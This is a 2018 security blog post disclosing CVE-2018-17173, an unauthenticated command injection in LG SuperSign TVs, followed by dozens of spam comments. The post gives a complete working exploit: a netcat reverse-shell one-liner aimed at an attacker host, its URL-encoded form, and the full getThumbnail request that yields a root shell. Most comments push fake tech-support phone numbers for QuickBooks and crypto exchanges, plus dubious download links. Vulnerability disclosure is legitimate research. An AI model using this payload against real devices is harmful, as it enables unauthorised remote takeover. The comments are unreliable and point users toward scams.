miércoles, 19 de septiembre de 2018

LG SuperSign RCE! (to the 'luna' and back to shell)


Publishing the previous vulnerabilities in LG SuperSign TVs left me a bad taste in my mouth. Something like "I know that there must be something more".  So, I continued with my research and finally found the precious RCE.

This vulnerability has been addressed with the following CVE-2018-17173

The vuln


Playing with the app through burp I saw a url with some parameters. These URL is requested when the application needs to load the thumbnails of the images the user has uploaded.



So, I started to fuzz these parameters with ZAP until I found something interesting:



The application responded with the help screen of some utility called luna-send when the parameter sourceUri received the values "' or 1 --'". It looked like it was triggering a command that was calling this utility but failling due to an unexpected parameter. Cleaning a little bit the input I found that with the value ' -' it was enough to receive this response. I knew I was close.

If you see something like that in the response you immediately start to play with things like ;command, ;command;, etc, etc. After some failed attemps I tried with ' -;reboot;' and I saw how the TV was rebooting...the RCE was knocking on my door.

Getting a Shell

Taking advantage of the LFI, I knew that the TV had a netcat but was the netcat version  that doesn't support the -e option (downloading the binary), so I used the alternative:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

Encoded all to be passed in the URL

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E
%261%7Cnc%20ATTACKER_IP%20PORT%20%3E%2Ftmp%2Ff


So, the payload was ready:


' -;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i
%202%3E%261%7Cnc%20ATTACKER_MACHINE_IP%20ATTACKER_MACHINE_PORT%20%3E%2Ftmp%2Ff;'


Putting it all together:



http://LG_SuperSign_IP:9080/qsr_server/device/getThumbnail?sourceUri=
%27%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2F
bin%2Fsh%20-i%202%3E%261%7Cnc%20ATTACKER_MACHINE_IP%20ATTACKER_MACHINE__PORT
%20%3E%2Ftmp%2Ff;%27&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&
targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150


I launched netcat to catch the shell, made the request and...

 

I was in.



In a few days I'll be updating this post with more technical details. 
That is all for now.


Points to take into account:

-No need to be authenticated
-No need to privilege escalation (app is running as root)




38 comentarios:


  1. We are a Quickbooks Support company. We always Provides Solution for any error. The quickbooks support phone number can be easily solved if you call us on +18009016679.

    ResponderEliminar
  2. Instant help for your Quickbooks Accounting software you can dial Quickbooks Desktop Support Phone Number 800-901-6679 for USA. We are always available for your help.

    ResponderEliminar
  3. Really Liked the information you have provided. I have an article relaed to it. I was searching about it on the internet and I found an amazing article on Pinterest Site. The provided pin was about a site that provides working modded android apps. The name of the site was “Fineapkapps”. The Pin was very halpful, You should read that. Click Here to reach that amazing Pin: Pinterest Mod APK.

    ResponderEliminar
  4. Nice Blog Thanks for sharing this usefull link. Quickbooks accounting software is helpful for maintain client payroll taxes accounting problems for instant help about Quickbooks for MAC support phone number. Our technical team always available for your help our Toll-free Number + 1-800-986-4607.

    ResponderEliminar
  5. Our Quickbooks POS Support Phone Number Provides you the best Support For POS problems. If you need Any help then Dial Helpline Number +1-800-901-6679.

    ResponderEliminar
  6. Nice Blog Our support team at QuickBooks Support Phone Number 1-800-986-4591 resolve your all issue in Quickbooks like installation & upgrading. We are providing 24*7 technical support so if you need any query.

    ResponderEliminar
  7. Our Quickbooks Support Phone Number USA 800-901-6679 for instant help. In quickbooks accounting software if you face any type of issue in this. Our Highly skilled Technicians are there for you, to resolve your queries.

    ResponderEliminar
  8. Thanks For Sharing!
    Quickbooks application can easy to use. It is user friendly software if yur are facing issue dial our Quickbooks Support In Texas 1-800-986-4591.

    ResponderEliminar
  9. Facing problems in deleting or Editing paychecks in Quickbooks ? Feel Free to contact on Quickbooks Payroll Support Phone Number 1-800-986-4607. Get Immediate & effective solution for problems regarding Quickbooks Payrolls. Avail round the clock technical assistance from Highly skilled & Trained experts who have years of experience in resolving the Quickbooks Technical glitches.

    ResponderEliminar
  10. Thanks for writing such an informative. We are a team of Certified QuickBooks ProAdvisor that possesses a considerable experience having worked as QuickBooks Consultants over a period of time. Our service offerings comprise Quickbooks Mac support, QuickBooks Online Support, QuickBooks Error Support, Payroll, and anything that is remotely associated with business accounting management. Reach out to us today to find the most affordable business accounting solutions, along with a user-friendly QuickBooks tech support that operates 24/7.

    ResponderEliminar
  11. Are you having trouble in solving the Binance puzzle captcha? If you are looking for ways to overcome this error and you’re looking for ways, you can always call on Binance support phone number which is functional and users can talk to the team anytime related the query. The team of skilled professionals is always there to guide you. You can put forward all kind of Binance queries in front of them and avail quality solutions from them. The team loves to work for you at any time without taking much time. Binance Support Number

    ResponderEliminar
  12. Account hacking activities occur so frequent that users need to pay attention on the security of their Blockchain account. Blockchain exchange serves the best security to its users but still due to hackers, their security gets compromised. If you don’t know how to deal with the account hack activities and looking for assistance, you can always call on Blockchain support number which is functional all the time. The team is always working and helps in fixing all queries immediately without consuming much time. Blockchain Support Number

    ResponderEliminar
  13. Are you having trouble in depositing and withdrawing the USD in Gemini account? Such errors are common and usually occurs due to server errors. If you don’t know how to deal with such issues and looking for ways to deal with them, you can always call on Gemini Support number which is functional all the time. The team is there to support you and makes sure users get rid of every error in no time. Connect with the team for availing quality solutions. Gemini Support Number

    ResponderEliminar
  14. Are you having trouble in purchasing bitcoin in Binance account? If you’re looking for ways to deal with errors and need assistance, you can always call on Binance helpdesk number which is functional all the time. The team can connect with you and always make sure to assist users at every step. Whenever you get into trouble, you can always call to them and discuss your query with them. Talk to the team for availing fruitful and remedy solutions in no time. Binance Support Number

    ResponderEliminar
  15. nice and very informative blog click here for
    QuickBooks toll free phone number to get the solution of all QuickBooks error and issues and for more detail dial on our support phone number 844-908-0801

    ResponderEliminar
  16. Nice Blog ! Are you in a hurry? Need instant help to fix your QuickBooks issues? Dial our QuickBooks Payroll Support Phone Number 855-9O7-O4O6 now! We have technical experts to fix your issues instantly.

    ResponderEliminar
  17. Experiencing troubles while login to the Binance exchange happens frequently and sometimes users get puzzled and unable to resolve this error. If you want to eradicate this error completely from the roots, you can always take help from the skilled professionals who are ready to support you anytime for availing the best results. You can call on Binance support number which is functional all the time for guidance. What are you waiting for? You can reach the team and avail quality solutions from them in no time. Binance Customer Service Number

    ResponderEliminar
  18. Password errors seem normal but hold the capability to bring errors in users account. To protect Binance account, users must reset password frequently. If you want to change your password or you have forgotten your password, you can always take help from the team of elite members who are there to guide you. You can always reach them by calling on Binance phone number which is functional and the team is ready to provide guidance and endless remedies related to all your problems. You can reach them for availing results. Cash Helpline Number

    ResponderEliminar
  19. The issues in QuickBooks can’t be resisted but it can be avoided or resolved with the valuable assistance given by QB experts. The experts are deployed on the support for which users have to dial QuickBooks Customer Support Phone Number 1-833-780-0086. Read More: https://g.page/quickbookssupporttexas

    ResponderEliminar
  20. Whenever you want comprehensive aid about your issues & query, approach us at QuickBooks Support Phone Number +1(833)780-0086. For More: https://cutt.ly/4ygtMrE

    ResponderEliminar
  21. I really loved reading your blog. It was very well authored and easy to understand about Blockchain support phone number Unlike other blogs I have read which are really not that good. Thanks!

    ResponderEliminar
  22. thanks provide valuable information you can get best QuickBooks solution at

    QuickBooks Customer Service

    ResponderEliminar
  23. QuickBooks is accounting software which demand increasing day by day if you have facing any issue then dial at

    quickbooks phone number (866) 822-4745

    ResponderEliminar
  24. I’ve been busy writing my reports. Now, I don’t do it anymore thanks to this service. Go to their homepage. The majority of students are overwhelmed with homework. If you are one of them, click here.

    무료야설
    오피헌터
    마사지블루
    건전마사지
    카지노사이트존

    ResponderEliminar
  25. This is amazing post for Quickbooks user which is one of the best software for manipulating many accounting task . this software could be any issue . to resolve your issue connect with at QuickBooks Keeps Crashing.

    ResponderEliminar
  26. Mama Quiero Ser P3Nt3St3R!: Lg Supersign Rce! (To The 'Luna' And Back To Shell) >>>>> Download Now

    >>>>> Download Full

    Mama Quiero Ser P3Nt3St3R!: Lg Supersign Rce! (To The 'Luna' And Back To Shell) >>>>> Download LINK

    >>>>> Download Now

    Mama Quiero Ser P3Nt3St3R!: Lg Supersign Rce! (To The 'Luna' And Back To Shell) >>>>> Download Full

    >>>>> Download LINK

    ResponderEliminar
  27. Mama Quiero Ser P3Nt3St3R!: Lg Supersign Rce! (To The 'Luna' And Back To Shell) >>>>> Download Now

    >>>>> Download Full

    Mama Quiero Ser P3Nt3St3R!: Lg Supersign Rce! (To The 'Luna' And Back To Shell) >>>>> Download LINK

    >>>>> Download Now

    Mama Quiero Ser P3Nt3St3R!: Lg Supersign Rce! (To The 'Luna' And Back To Shell) >>>>> Download Full

    >>>>> Download LINK jd

    ResponderEliminar
  28. QuickBooks Online Mileage Tracker is a web-based mileage tracker that helps QuickBooks users to manage their vehicle and mileage expenses online. This blog provides detailed information about how to tracking mileage in QuickBooks Online and Categorizing Mileage in QuickBooks Online.

    ResponderEliminar
  29. Keep up the good work; I read few posts on this website, including I consider that your blog is fascinating and has sets of the fantastic piece of information. Thanks for your valuable efforts. AccountXpert

    ResponderEliminar
  30. QuickBooks error 6069 is an unexpected error that appears in QuickBooks during different operations like while opening company file and running QuickBooks, and even a minor misstep can result in more significant technical complications. Let the QuickBooks technical professionals fix this issue with proficient troubleshooting skills and experience. Call 2 and get all your technical errors fixed straight from the certified technicians Call our +1-855-738-0359






    How to fix quickbooks error 6069


    How to fix quickbooks hosting mode is off

    ResponderEliminar
  31. Great blog post! I found it to be informative, well-researched, and engaging. The writing style was clear and easy to follow, making it accessible for readers with varying levels of expertise on the topic. If anyone need help with Coin Cloud ATMs, contact Coincloud Customer Service available 24 hours.

    Read our Blogs

    How to Buy Bitcoin on Coin Cloud ATM

    How Do I Use a Coin Cloud Bitcoin ATM

    ResponderEliminar
  32. Yes, correct present 군포출장샵English is necessary for all of us to communicate others

    ResponderEliminar
  33. Absolutely loving the insights shared in this blog post! 💡 The Coin Cloud Wallet app seems like a game-changer in the digital currency space, providing a secure and user-friendly platform. Also know, How To Send Digital Currency with the Coin Cloud Wallet App.

    ResponderEliminar
  34. Outsourcing accounting refers to the practice of hiring external accounting professionals or firms to handle specific accounting functions or the entire accounting process on behalf of a business.

    ResponderEliminar